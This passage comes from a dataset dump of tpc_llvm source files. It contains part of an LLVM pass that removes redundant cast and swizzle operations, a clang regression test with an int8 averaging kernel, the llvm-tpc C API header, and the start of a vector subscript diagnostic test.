dyn_cast<IntrinsicInst>(I)) {\n Intrinsic::ID Inid = TpcIntrins->getIntrinsicID();\n if (Inid == Intrinsic::tpc_ld_g) {\n return true;\n }\n }\n }\n return false;\n}\n\nstatic bool isStoreIntrin(const DDGNode *N) {\n for (Instruction *I : cast<const SimpleDDGNode>(*N).getInstructions()) {\n if (auto *TpcIntrins = dyn_cast<IntrinsicInst>(I)) {\n Intrinsic::ID Inid = TpcIntrins->getIntrinsicID();\n if (Inid == Intrinsic::tpc_st_tnsr) {\n return true;\n }\n }\n }\n return false;\n}\n\n// Computes all forward paths forllowing Def-Use chain having correlative casts\n// such as 'fpext/fptrunc' or 'sitofp/fptosi'.\nvoid EliminateSwizzleCast::computeAllFWPath(const DataDependenceGraph &G) {\n LLVM_DEBUG(dbgs() << \" Computing forward path \\n\");\n\n // Iterate over all nodes of DDG, check in each DDG node for the existence of\n // 'fpext/fptrunc' or 'sitofp/fptosi' or 'uitofp/fptoui' instruction. Idea is\n // to get start and end instruction of the path as one of 'fpext/fptrunc' or\n // 'sitofp/fptosi' or 'uitofp/fptoui'.\n for (const DDGNode *N : G) {\n if (!isa<SimpleDDGNode>(*N))\n continue;\n\n unsigned int OpCode = getIntrestingOpCode(N);\n\n if (OpCode != StartOpCode) {\n LLVM_DEBUG(dbgs() << \"Correlative cast not found: CONTINUE \"\n << \"\\n\");\n continue;\n }\n\n // Having found the start and end instruction, get the full forward path.\n for (auto &E : N->getEdges()) {\n // Skip use-def edges for forward path.\n if (!E->isDefUse())\n continue;\n NodeSetType Path;\n dfsAllPath(N, StartOpCode, EndOpCode, Path, false);\n //NodeVisitedMap.clear();\n Path.clear();\n }\n NodeVisitedMap.clear();\n }\n}\n\n// Recursively follow Def-Use or Use-Def edges starting from node \\p Src and\n// ending at node containing instruction with path ending operation \\p\n// EndOpCode.\\p IsBackward is to chose direction of traversal.\nvoid EliminateSwizzleCast::dfsAllPath(const DDGNode *Src,\n unsigned int StartOpCode,\n unsigned int EndOpCode, NodeSetType &Path,\n bool BackwardSearch) {\n NodeVisitedMap[Src] = true;\n Path.insert(Src);\n\n Instruction *I = cast<const SimpleDDGNode>(*Src).getFirstInstruction();\n if (I) {\n LLVM_DEBUG(dbgs() << \" dfsAllPath: Src Instruction - \" << *I << \"\\n\");\n LLVM_DEBUG(dbgs() << \" OpCode is: \" << I->getOpcode() << \"\\n\");\n LLVM_DEBUG(dbgs() << \" StartOpCode is: \" << StartOpCode << \"\\n\");\n LLVM_DEBUG(dbgs() << \" EndOpCode is: \" << EndOpCode << \"\\n\");\n }\n\n // Check if backward search & instruction is ld_g\n IntrinsicInst *Intrins = nullptr;\n bool ScalarBroadcast = false;\n bool LoadOperation = false;\n bool FpExt = false;\n if ((Intrins = dyn_cast<IntrinsicInst>(I))) {\n // Check if this is ld_g\n Intrinsic::ID Inid = Intrins->getIntrinsicID();\n if (Inid == Intrinsic::tpc_ld_g) {\n // Check if the operand 0 is scaler\n if (auto *TpcIntrins = dyn_cast<IntrinsicInst>(Intrins->getOperand(0))) {\n Intrinsic::ID TpcInid = TpcIntrins->getIntrinsicID();\n if (TpcInid == Intrinsic::tpc_gen_addr) {\n ScalarBroadcast = true;\n }\n }\n } else if (Inid == Intrinsic::tpc_ld_tnsr) {\n // This also should be the termination point\n LoadOperation = true;\n } else if (Inid == Intrinsic::tpc_fpext_swch &&\n (StartOpCode == Instruction::Call ||\n EndOpCode == Instruction::Call)) {\n /*Store pack cannot be done if there is a FPExt vector in between*/\n FpExt = true;\n }\n } else if (I && I->getOpcode() == Instruction::FPExt &&\n (StartOpCode == Instruction::Call ||\n EndOpCode == Instruction::Call)) {\n FpExt = true;\n }\n\n // Need to prevent store-pack, if fpext is found between fptrunc and store.\n if (FpExt && (StartOpCode == Instruction::FPTrunc ||\n EndOpCode == Instruction::FPTrunc)) {\n LLVM_DEBUG(\n dbgs()\n << \"dfsAllPath: Intervening Fpext found in fptunc to store-pack \\n\");\n return;\n }\n\n // For path starting with FPTrunc, call to store-pack intrinsic could be other\n // ending operation apart from FPext.\n bool EndsWithStore = (StartOpCode == Instruction::FPTrunc &&\n EndOpCode == Instruction::Call && isStoreIntrinsic(I));\n\n // Search ending checks for forward and backward path identification.\n unsigned int OpCode = 0;\n Instruction *TmpInst = getIntrestingInstruction(I, &OpCode);\n if ((TmpInst && OpCode == EndOpCode && !isStoreIntrinsic(I)) ||\n EndsWithStore ||\n (I->getOpcode() == Instruction::PHI && // End check for backward path\n StartOpCode != Instruction::Call) ||\n ScalarBroadcast || LoadOperation || FpExt) {\n\n // If the path ends with call to store-pack intrinsic, set the 'EndOpcode'\n // to Call operation.\n if (EndsWithStore)\n setEndOpCode(Instruction::Call);\n\n if (!BackwardSearch)\n ForwardPaths.push_back(Path);\n else\n ReversePaths.push_back(Path);\n LLVM_DEBUG(dbgs() << \"dfsAllPath: Path Found, push and clear... \\n\");\n return;\n }\n\n for (auto &E : Src->getEdges()) {\n if (!BackwardSearch) {\n if (!E->isDefUse())\n continue;\n } else {\n if (E->isDefUse())\n continue;\n }\n if (E->isMemoryDependence()) {\n continue;\n }\n const DDGNode &Nbr = E->getTargetNode();\n if (!isa<SimpleDDGNode>(Nbr))\n continue;\n\n bool Visited = isNodeVisited(&Nbr);\n if (!Visited) {\n LLVM_DEBUG(dbgs() << \"Recursing down the path.. \\n\");\n dfsAllPath(&Nbr, StartOpCode, EndOpCode, Path, BackwardSearch);\n if (!Path.empty())\n Path.pop_back();\n }\n }\n}\n\n// Computes all backward paths forllowing Use-Def chain having correlative casts\n// 'fpext/fptrunc' or 'sitofp/fptosi'.\nvoid EliminateSwizzleCast::computeAllBWPath(const DataDependenceGraph &G,\n bool IsStorePackSpl) {\n LLVM_DEBUG(dbgs() << \" Computing backward path \\n\");\n\n // Iterate over all nodes of DDG, check in each DDG node for the existence of\n // 'fpext/fptrun' or 'sitofp/fptosi' or 'uitofp/fptoui' instruction. Idea is\n // to get start and end instruction of the path.\n for (const DDGNode *N : G) {\n\n if (!isa<SimpleDDGNode>(*N))\n continue;\n\n unsigned int OpCode = getIntrestingOpCode(N);\n\n // Keep looking if intresting instruction is not found.\n if (OpCode != EndOpCode) {\n LLVM_DEBUG(dbgs() << \"Correlative cast not found CONTINUE \"\n << \"\\n\");\n continue;\n }\n\n // Skip def-use edges for backward path.\n for (auto &E : N->getEdges()) {\n if (E->isDefUse())\n continue;\n\n // Handle trivial Store-pack pattern path, continue if not special store\n // pack pattern.\n if (IsStorePackSpl && (StartOpCode == Instruction::FPTrunc) &&\n (EndOpCode == Instruction::Call)) {\n LLVM_DEBUG(dbgs() << \"StorePack trivial Path CHECK \\n\");\n Instruction *I = cast<const SimpleDDGNode>(*N).getFirstInstruction();\n const DDGNode &Nbr = E->getTargetNode();\n\n // Instruction *TmpInst = getIntrestingInst(&Nbr, &TempOpCode);\n unsigned int TempOpCode = getIntrestingOpCode(&Nbr);\n if (isStoreIntrinsic(I) && TempOpCode == Instruction::FPTrunc) {\n NodeSetType TmpPath;\n TmpPath.insert(N);\n TmpPath.insert(&Nbr);\n ReversePaths.push_back(TmpPath);\n LLVM_DEBUG(dbgs() << \"StorePack trivial Path Found \\n\");\n return;\n }\n }\n\n // Having found the start and end, try to get the backward path.\n // For backward path, end of path is indicated by 'StartOpCode'\n NodeSetType Path;\n dfsAllPath(N, EndOpCode, StartOpCode, Path, true);\n Path.clear();\n }\n NodeVisitedMap.clear();\n }\n}\n\n// Iterate over forward path and build a map from DDG node to a set of DDG node\n// being post dominated.\nbool EliminateSwizzleCast::buildPostDomSet(void) {\n LLVM_DEBUG(dbgs() << \" Building post dominator map\"\n << \"\\n\");\n\n // For zero forward path, no need to build postdom.\n if (ForwardPaths.empty())\n return false;\n bool IsMapAvailable = false;\n for (auto &Path : ReversePaths) {\n const DDGNode *FN = Path.front();\n#ifndef NDEBUG\n for (const Instruction *I :\n cast<const SimpleDDGNode>(*FN).getInstructions()) {\n LLVM_DEBUG(dbgs() << *I);\n LLVM_DEBUG(dbgs() << \"\\n\");\n }\n const DDGNode *BN = Path.back();\n for (const Instruction *I :\n cast<const SimpleDDGNode>(*BN).getInstructions()) {\n LLVM_DEBUG(dbgs() << *I);\n LLVM_DEBUG(dbgs() << \"\\n\");\n }\n#endif\n PostDomSet[FN].insert(Path.back());\n IsMapAvailable = true;\n }\n return IsMapAvailable;\n}\n\nbool EliminateSwizzleCast::CheckFinalList(const Instruction *I1) {\n for (auto IT2 : FinalPostDomSet) {\n const DDGNode *PDomNode2 = IT2.getFirst();\n for (const Instruction *I2 :\n cast<const SimpleDDGNode>(*PDomNode2).getInstructions()) {\n if (I1 == I2) {\n LLVM_DEBUG(dbgs() << \"Found the Match Optimization not possible\\n\");\n return false;\n }\n }\n }\n return true;\n}\n\nbool EliminateSwizzleCast::isLegalToTransform(void) {\n LLVM_DEBUG(dbgs() << \"Legality check\\n\");\n if (PostDomSet.empty()) {\n return false;\n }\n\n // Post dominator nodes must have only path ending operation, i.e\n // 'EndOpCode' while the dominated node can only have path starting\n // operation i.e 'StartOpCode'.\n for (auto IT : PostDomSet) {\n const DDGNode *PDomNode = IT.getFirst();\n unsigned int OpEnd = 0;\n\n // Handle fptrunc/store-pack pattern, when it overlaps with fprunc/fpext\n // pattern. Basically multiple use of fptrunc feeding to st.tnsr needs to be\n // prevented from getting transformed into store-pack if no valid fptrunc-fpext\n // postdom relation exist.\n if (isStoreIntrin(PDomNode)) {\n // Get the fptrunc feeding into st.tnsr.\n unsigned TmpOpCode;\n Instruction *SI = getIntrestingInst(PDomNode, &TmpOpCode);\n CallInst *CI = cast<CallInst>(SI);\n CallSite CS(CI);\n Value *CastVal = CS.getArgument(2);\n LLVM_DEBUG(dbgs() << \"isLegalToTransform: Cast instruction: \"\n << *CastVal << \"\\n\");\n CallInst *Cast = dyn_cast<CallInst>(CastVal);\n\n // Inside fptrunc-fpext path, Ensure store-pack pattern transform only for\n // valid fptrunc-fext postdom relation.\n if (Cast && !Cast->hasOneUse()) {\n LLVM_DEBUG(\n dbgs() << \"isLegalToTransform: Multiple use of fptrunc found\\n\");\n unsigned DNCount = 0;\n for (auto ITT : PostDomSet) {\n for (const auto *DomNode : ITT.getSecond()) {\n Instruction *Inst = getIntrestingInst(DomNode, &TmpOpCode);\n if (Cast == Inst) {\n DNCount++;\n }\n }\n }\n\n // Valid fptrunc-fpext postdom not found, so prevent fptrunc/store-pack\n // transform.\n if (DNCount == 1) {\n LLVM_DEBUG(\n dbgs()\n << \"isLegalToTransform: Prevent fptrunc/store-pack transform\\n\");\n PostDomSet.erase(PDomNode);\n continue;\n }\n }\n }\n\n // Handle unsupported 'convert' ops by preventing the transformation.\n Instruction *I = getIntrestingInst(PDomNode, &OpEnd);\n VectorType *VTy = dyn_cast<VectorType>(I->getType());\n if (VTy) {\n Type *ElementTy = VTy->getElementType();\n unsigned Num = VTy->getVectorNumElements();\n if ((ElementTy->isIntegerTy() || ElementTy->isFloatTy()) && Num == 256) {\n PostDomSet.erase(PDomNode);\n continue;\n }\n }\n\n if (OpEnd != EndOpCode && !(IsLoadIntrin(PDomNode))) {\n for (auto ItBegin : PostDomSet) {\n if (ItBegin.getFirst() == PDomNode) {\n PostDomSet.erase(PDomNode);\n }\n }\n continue;\n }\n\n for (const auto *DomNode : IT.second) {\n LLVM_DEBUG(dbgs() << \"Legality check 3\\n\");\n unsigned OpStart = getIntrestingOpCode(DomNode);\n // if both start and End are load and store instruction simply drop them\n if ((OpStart != StartOpCode && !(IsLoadIntrin(DomNode))) ||\n (OpEnd == Instruction::Call && OpStart == Instruction::Call)) {\n for (auto ItBegin : PostDomSet) {\n if (ItBegin.getFirst() == PDomNode) {\n PostDomSet.erase(PDomNode);\n }\n }\n }\n }\n }\n\n /*We need to check any of the instruction in PostDomSet is not already part\n of the FinalPostDomSet*/\n for (auto IT1 : PostDomSet) {\n const DDGNode *PDomNode1 = IT1.getFirst();\n for (const Instruction *I1 :\n cast<const SimpleDDGNode>(*PDomNode1).getInstructions()) {\n /*We need to check if this instruction is part of FinalPostDomSet*/\n if (!CheckFinalList(I1)) {\n return false;\n }\n }\n /*Check for Second part*/\n for (const auto *DomNode : IT1.second) {\n for (const Instruction *I1 :\n cast<const SimpleDDGNode>(*DomNode).getInstructions()) {\n if (!CheckFinalList(I1)) {\n return false;\n }\n }\n }\n }\n return true;\n}\n\nstatic void collectInstToReplace(NodeSetVectorMap &PostDomSet,\n DenseSet<Instruction *> &WorkingSet) {\n Instruction *I;\n for (auto IT : PostDomSet) {\n const DDGNode *PDomNode = IT.getFirst();\n I = getIntrestingInst(PDomNode, nullptr);\n assert(I && \"PDomNode must have instruction\");\n\n WorkingSet.insert(I);\n LLVM_DEBUG(dbgs() << \"Post Dominator Instruction: \" << *I << \"\\n\");\n for (const auto *DomNode : IT.second) {\n I = getIntrestingInst(DomNode, nullptr);\n assert(I && \"DomNode must have instruction\");\n WorkingSet.insert(I);\n LLVM_DEBUG(dbgs() << \"Dominated Instruction: \" << *I << \"\\n\");\n }\n }\n}\n\n// Process each path and do the required transformation if applicable.\nvoid EliminateSwizzleCast::applyTransform(void) {\n LLVM_DEBUG(dbgs() << \"Try to transform\\n\");\n\n // Iterate over post dominator map and do the transformation\n DenseSet<Instruction *> WorkingSet;\n collectInstToReplace(FinalPostDomSet, WorkingSet);\n\n for (auto Inst : WorkingSet) {\n LLVM_DEBUG(dbgs() << \"Replacing Instruction: \" << *Inst << \"\\n\");\n replaceInstWithIntrinsic(Inst);\n }\n}\n\n// Sets the modified switch using the specified \\p Switch to this call\n// instruction.If no switch is supplied, returns the switch from the call\n// instruction.\nstatic int getOrSetSwitch(CallSite CS, int ArgNum, int Switch = -1) {\n int SW = -1;\n Value *SwitchVal = CS.getArgument(ArgNum);\n ConstantInt *CI = dyn_cast<llvm::ConstantInt>(SwitchVal);\n if (!CI) {\n LLVM_DEBUG(dbgs() << \"Switch not a constant !!\\n\");\n return SW;\n }\n\n SW = CI->getSExtValue();\n if (Switch == -1)\n return SW;\n\n // Update the switch.\n SW = SW | Switch;\n SwitchVal = ConstantInt::get(CI->getType(), SW, true);\n CS.setArgument(ArgNum, SwitchVal);\n\n // Return the modified switch\n return SW;\n}\n\n// Replace instruction \\p InstrToReplace with coresponding intrinsic\nvoid EliminateSwizzleCast::replaceInstWithIntrinsic(\n Instruction *InstrToReplace) {\n Value *IntrinsicCall = nullptr;\n if (InstrToReplace->getOpcode() == Instruction::FPExt ||\n InstrToReplace->getOpcode() == Instruction::FPTrunc ||\n InstrToReplace->getOpcode() == Instruction::SIToFP ||\n InstrToReplace->getOpcode() == Instruction::FPToSI ||\n InstrToReplace->getOpcode() == Instruction::UIToFP ||\n InstrToReplace->getOpcode() == Instruction::FPToUI) {\n LLVM_DEBUG(dbgs() << \"Found cast instruction to be replaced\\n\");\n IntrinsicCall = createConvertIntrinsic(InstrToReplace, 0);\n } else if (isFpExtIntrinsic(InstrToReplace) ||\n isFpTruncIntrinsic(InstrToReplace) ||\n isSiToFpIntrinsic(InstrToReplace) ||\n isUiToFpIntrinsic(InstrToReplace) ||\n isFpToUiIntrinsic(InstrToReplace) ||\n isFpToSiIntrinsic(InstrToReplace)) {\n LLVM_DEBUG(dbgs() << \"Found intrinsic to be replaced\\n\");\n CallInst *CI = cast<CallInst>(InstrToReplace);\n CallSite CS(CI);\n // Get the switch from the intrinsic instruction to be applied while\n // creating the convert intrinsic.\n int Switch = getOrSetSwitch(CS, 1);\n LLVM_DEBUG(dbgs() << \"getOrSetSwitch(CS, 1): \" << Switch << \"\\n\");\n IntrinsicCall = createConvertIntrinsic(InstrToReplace, Switch);\n }\n if (IntrinsicCall) {\n InstrToReplace->replaceAllUsesWith(IntrinsicCall);\n InstrToReplace->eraseFromParent();\n }\n\n if (InstrToReplace->getOpcode() == Instruction::Call &&\n isStoreIntrinsic(InstrToReplace)) {\n LLVM_DEBUG(dbgs() << \"Modifying Store pack switch\\n\");\n CallInst *CI = cast<CallInst>(InstrToReplace);\n CallSite CS(CI);\n getOrSetSwitch(CS, 3, 1 << 2);\n }\n}\n\n// Define node attributes for DOT graph printing\nstatic void defineNode(const DDGNode *N) {\n LLVM_DEBUG(dbgs() << \"\\n\");\n LLVM_DEBUG(dbgs() << \"Node\" << N);\n LLVM_DEBUG(dbgs() << \" [shape=\\\"box\\\", label=\\\"\");\n if (N->getKind() == DDGNode::NodeKind::Root)\n LLVM_DEBUG(dbgs() << \"START\");\n if (N->getKind() == DDGNode::NodeKind::Exit)\n LLVM_DEBUG(dbgs() << \"END\");\n for (const Instruction *I : cast<const SimpleDDGNode>(*N).getInstructions()) {\n LLVM_DEBUG(dbgs() << *I);\n }\n LLVM_DEBUG(dbgs() << \"\\\"\"\n << \"];\\n\");\n}\n\n// Print DOT edges\nstatic void printEdge(const DDGNode *N, bool isPrintUseDef = false) {\n LLVM_DEBUG(dbgs() << \"\\n\");\n for (auto &E : N->getEdges()) {\n if (E->isDefUse()) {\n if (isPrintUseDef)\n continue;\n } else {\n if (!isPrintUseDef)\n continue;\n }\n\n LLVM_DEBUG(dbgs() << \"Node\" << N);\n LLVM_DEBUG(dbgs() << \" -> \");\n const DDGNode &TN = E->getTargetNode();\n if (isa<RootDDGNode>(TN) || isa<ExitDDGNode>(TN)) {\n LLVM_DEBUG(dbgs() << \"Node\" << &TN << \"\\n\");\n continue;\n }\n if (!isa<SimpleDDGNode>(TN))\n continue;\n LLVM_DEBUG(dbgs() << \"Node\" << &TN << \"\\n\");\n }\n}\n\n// Prints DOT format edges using post dominator map\nstatic void printPDomEdge(const DDGNode *Src, NodeSetType &NS) {\n for (const DDGNode *TN : NS) {\n defineNode(TN);\n LLVM_DEBUG(dbgs() << \"Node\" << Src);\n LLVM_DEBUG(dbgs() << \" -> \");\n LLVM_DEBUG(dbgs() << \"Node\" << TN << \"\\n\");\n }\n}\n\n// Prints DOT format graph using post dominator map\nvoid EliminateSwizzleCast::printPostDomTree(NodeSetVectorMap PostDomSet) {\n LLVM_DEBUG(dbgs() << \"Printing printPostDomTree: \"\n << \"\\n\");\n LLVM_DEBUG(dbgs() << \"Digraph {\"\n << \"\\n\");\n for (auto IT : PostDomSet) {\n defineNode(IT.first);\n printPDomEdge(IT.first, IT.second);\n }\n LLVM_DEBUG(dbgs() << \"}\"\n << \"\\n\");\n}\n\n// Prints DOT format path\nvoid EliminateSwizzleCast::printPath(bool isPrintUseDef) {\n if (!isPrintUseDef) {\n LLVM_DEBUG(dbgs() << \"Printing Def-Use path: \" << ForwardPaths.size()\n << \"\\n\");\n for (auto &Path : ForwardPaths) {\n LLVM_DEBUG(dbgs() << \"Digraph {\"\n << \"\\n\");\n for (const DDGNode *N : Path) {\n if (!isa<SimpleDDGNode>(*N))\n continue;\n defineNode(N);\n printEdge(N, isPrintUseDef);\n }\n LLVM_DEBUG(dbgs() << \"}\"\n << \"\\n\");\n }\n } else {\n LLVM_DEBUG(dbgs() << \"Printing Use-Def path: \" << ReversePaths.size()\n << \"\\n\");\n for (auto &Path : ReversePaths) {\n LLVM_DEBUG(dbgs() << \"Digraph {\"\n << \"\\n\");\n for (const DDGNode *N : Path) {\n if (!isa<SimpleDDGNode>(*N))\n continue;\n defineNode(N);\n printEdge(N, isPrintUseDef);\n }\n LLVM_DEBUG(dbgs() << \"}\"\n << \"\\n\");\n }\n }\n}\n\n// Prints DOT format graph using DataDependenceGraph \\p G\nstatic void printGraph(const DataDependenceGraph &G, bool isPrintUseDef) {\n LLVM_DEBUG(dbgs() << \"Printing Graph\"\n << \"\\n\");\n LLVM_DEBUG(dbgs() << \"Digraph {\"\n << \"\\n\");\n for (const DDGNode *N : G) {\n if (!isa<SimpleDDGNode>(*N))\n continue;\n defineNode(N);\n printEdge(N, isPrintUseDef);\n }\n LLVM_DEBUG(dbgs() << \"}\"\n << \"\\n\");\n}\n\nclass EliminateSwizzleCastLegacyPass : public FunctionPass {\npublic:\n static char ID; // Pass ID, replacement for typeid\n EliminateSwizzleCastLegacyPass() : FunctionPass(ID) {\n initializeEliminateSwizzleCastLegacyPassPass(\n *PassRegistry::getPassRegistry());\n }\n\n bool runOnFunction(Function &F) override;\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addRequired<AAResultsWrapperPass>();\n AU.addRequired<ScalarEvolutionWrapperPass>();\n AU.addRequired<LoopInfoWrapperPass>();\n }\n};\n\nbool EliminateSwizzleCastLegacyPass::runOnFunction(Function &F) {\n if (skipFunction(F))\n return false;\n\n auto &AA = getAnalysis<AAResultsWrapperPass>().getAAResults();\n auto &SE = getAnalysis<ScalarEvolutionWrapperPass>().getSE();\n auto &LI = getAnalysis<LoopInfoWrapperPass>().getLoopInfo();\n\n // Construct Data Dependence Graph(DDG)\n DependenceInfo DI(&F, &AA, &SE, &LI);\n DataDependenceGraph G(F, DI);\n\n // Analyze DDG and do the transformation if applicable.\n EliminateSwizzleCast CS;\n\n CS.processDDG(G);\n return false;\n}\n} // namespace\n\nchar EliminateSwizzleCastLegacyPass::ID = 0;\nINITIALIZE_PASS_BEGIN(EliminateSwizzleCastLegacyPass, \"cast-swizzle-opt\",\n \"Eliminate swizzle ops\", false, false)\nINITIALIZE_PASS_DEPENDENCY(AAResultsWrapperPass)\nINITIALIZE_PASS_DEPENDENCY(ScalarEvolutionWrapperPass)\nINITIALIZE_PASS_DEPENDENCY(LoopInfoWrapperPass)\nINITIALIZE_PASS_END(EliminateSwizzleCastLegacyPass, \"cast-swizzle-opt\",\n \"Eliminate swizzle ops\", false, false)\n\nFunctionPass *llvm::createEliminateSwizzleCastLegacyPass() {\n return new EliminateSwizzleCastLegacyPass();\n}\n" }, { "alpha_fraction": 0.41908812522888184, "alphanum_fraction": 0.44720056653022766, "avg_line_length": 44.01063919067383, "blob_id": "3aa3bc481b8a514a15d63f40d7b3d7d1cf7bb72a", "content_id": "0d4e3ab0400bbfc1423db8365783e4fd4053f5ef", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4233, "license_type": "permissive", "max_line_length": 144, "num_lines": 94, "path": "/clang/test/RC99/regression/trac-941.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM-O1 %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\n// CHECK-ASM: main\n// CHECK-ASM: halt\n\n// CHECK-ASM-O1: main\n// CHECK-ASM-O1: halt\n\n//in this implementation index space matches one-to-one to OFM\n//specialized for 3x3, no dilation and stride =1\nvoid main(tensor ifm, \n tensor ofm, \n tensor debug_tensor,\n int kernel_w,\n int kernel_h,\n// the following two arguments are used to calculate if the current ROI is\n// at the boundary of the full tensor\n int ifm_w,\n int ifm_h,\n int mul_factor_4,\n int shift_factor_4,\n int mul_factor_6,\n int shift_factor_6,\n int mul_factor_9,\n int shift_factor_9)\n\n{\n\n int5 index_space_size = get_index_space_size();\n int5 index_space_offset = get_index_space_offset();\n int5 output_coords = {0};\n\n for (int b = index_space_offset[3] ; b < index_space_offset[3] + index_space_size[3]; b += 1)\n\n {\n output_coords[3] = b;\n for (int h = index_space_offset[2] ; h < index_space_offset[2] + index_space_size[2]; h += 1)\n {\n output_coords[2] = h;\n for (int w = index_space_offset[1] ; w < index_space_offset[1] + index_space_size[1]; w += 1)\n {\n output_coords[1] = w;\n for (int d = index_space_offset[0] ; d < index_space_offset[0] + index_space_size[0]; d += 256)\n {\n output_coords[0] = d;\n\n int256 accum = {0};\n char mul_factor = mul_factor_6;\n char shift_factor = shift_factor_6;\n // iterate over filter width/height\n // calculate multiplication and shift factors once per inner kernel\n\n char left_edge_w = (w == 0);\n char right_edge_w = (w == (ifm_w - 1));\n char low_edge_h = (h == 0);\n char high_edge_h = (h == (ifm_h - 1));\n char middle_w = (!left_edge_w && !right_edge_w);\n char middle_h = (!low_edge_h && !high_edge_h);\n\n if (middle_h && middle_w) {\n mul_factor = mul_factor_9;\n shift_factor = shift_factor_9;\n }\n\n if ((left_edge_w || right_edge_w) && (low_edge_h ||\thigh_edge_h)){\n mul_factor = mul_factor_4;\n shift_factor = shift_factor_4;\n }\n\n for (int kw = w - 1 ; kw <= w + 1; kw++)\n {\n for (int kh = h - 1 ; kh <= h + 1; kh++)\n {\n int5 ifmIndex = { d, kw, kh, b, 0 } ;\n char256 ifmValue = v_i8_ld_tnsr_i_b(ifmIndex, ifm, 0 /*source*/, 1, 1);\n\n accum = av_i8_mac_v_s_b(ifmValue, mul_factor, accum, 1/*saturated*/, 1, 1);\n }\n }\n\n char256 accum_out;\n accum_out = v_convert_int32_to_i8_v_s_b(accum.v1, -shift_factor, 0 /*source*/, 0 /*RNE*/, 0, 1 /*don't predicate */, 1);\n accum_out = v_convert_int32_to_i8_v_s_b(accum.v2, -shift_factor, 0 /*source*/, 0 /*RNE*/, 1, 1 /*don't predicate */, 1);\n accum_out = v_convert_int32_to_i8_v_s_b(accum.v3, -shift_factor, 0 /*source*/, 0 /*RNE*/, 2, 1 /*don't predicate */, 1);\n accum_out = v_convert_int32_to_i8_v_s_b(accum.v4, -shift_factor, 0 /*source*/, 0 /*RNE*/, 3, 1 /*don't predicate */, 1);\n\n i8_st_tnsr_i_v_b(output_coords, ofm, accum_out, 1, 1);\n\n } //iteration over OFM depth\n } //iteration over OFM height\n } //iteration over OFM width\n } //iteration over batch\n} \n\n" }, { "alpha_fraction": 0.6398576498031616, "alphanum_fraction": 0.6412811279296875, "avg_line_length": 35.02564239501953, "blob_id": "f6cced64feaebadf233db4ed4813f9d44b8c2a70", "content_id": "1a8425e68895a440fc7fadb0efac6e9e68fb9bf3", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2810, "license_type": "permissive", "max_line_length": 80, "num_lines": 78, "path": "/clang/tools/llvm-tpc/API.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- API.h -----------------------------------------------------*- C -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_CLANG_TOOLS_LLVM_TPC_API_H\n#define LLVM_CLANG_TOOLS_LLVM_TPC_API_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef void (*WritePfn)(const char *ptr, unsigned size);\n\n/// Set the write functions for redirecting the `out`, `err` and `dbg` streams.\nvoid llvm_tpc_redirectOutput(WritePfn out, WritePfn err, WritePfn dbg);\n\nstruct HeapAllocationFuncTable {\n /// Function pointer for setting the allocation heap for the current thread.\n void *(*setThread)(void *heap);\n\n /// Function pointer for re/allocating memory.\n char *(*realloc)(char *ptr, unsigned oldSize, unsigned newSize, void *heap);\n};\n\n/// Set the heap allocation functions.\nvoid llvm_tpc_setHeapAllocationFuncs(\n const struct HeapAllocationFuncTable *funcs);\n\n/// Set the global allocation heap.\nvoid llvm_tpc_setGlobalAllocHeap(void *heap);\n\n/// Prepare internal state for usage, and configure the compiler with the given\n/// arguments.\nvoid llvm_tpc_startup(const char *args);\n\n/// Destroy all used resources.\nvoid llvm_tpc_shutdown();\n\n/// Free resources used in compilation.\nvoid llvm_tpc_cleanup();\n\n/// Compile a given LLVM module to an ELF binary.\n///\n/// \\param[in] moduleBuf The LLVM module to compile (assembly or bitcode).\n/// \\param[in] moduleSize The size (in bytes) of `moduleBuf`.\n/// \\param[out] elfBin The resulting compiled ELF binary.\n/// \\param[out] asmIR The final LLVM IR assembly (before codegen).\n/// \\param[in] cpu The target CPU architecture.\n/// \\param[in] verify Run the verifier.\n///\n/// \\returns The size (in bytes) of the resulting compiled ELF binary, if the\n/// operation was successful; zero otherwise.\nunsigned llvm_tpc_compileModule(const char *moduleBuf, unsigned moduleSize,\n char **elfBin, char **asmIR, const char *cpu,\n bool verify);\n\n/// Disassemble the TPC code in an ELF binary.\n///\n/// \\param[in] elfBin The ELF binary to disassemble.\n/// \\param[in] elfSize The size (in bytes) of `elfBin`.\n/// \\param[out] tpcAsm The resulting TPC assembly.\n///\n/// \\returns The size (in bytes) of the resulting TPC assembly, if the operation\n/// was successful; zero otherwise.\nunsigned llvm_tpc_disassembleTPC(const char *elfBin, unsigned elfSize,\n char **tpcAsm);\n\n#ifdef __cplusplus\n} // extern \"C\"\n#endif\n\n#endif // LLVM_CLANG_TOOLS_LLVM_TPC_API_H\n" }, { "alpha_fraction": 0.5982300639152527, "alphanum_fraction": 0.6371681690216064, "avg_line_length": 32.235294342041016, "blob_id": "bedbd4e445959d933dda7b98d35e5d2e766807f4", "content_id": "a80a62afd6edd2e00948ae5f205081109c40be5e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 565, "license_type": "permissive", "max_line_length": 95, "num_lines": 17, "path": "/clang/test/RC99/int5-subscr.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\n// GAUDI-462: SW-1547: Compiler crash while setting IRF register\n\nvoid main(int dest, int i) {\n int __local *dptr = (int __local *) dest;\n int5 ndx = get_index_space_offset();\n\n ndx[i] = 15; // expected-error{{index of vector type must be a constant integer expression}}\n *dptr++ = ndx[1];\n\n ndx[-1] = 15; // 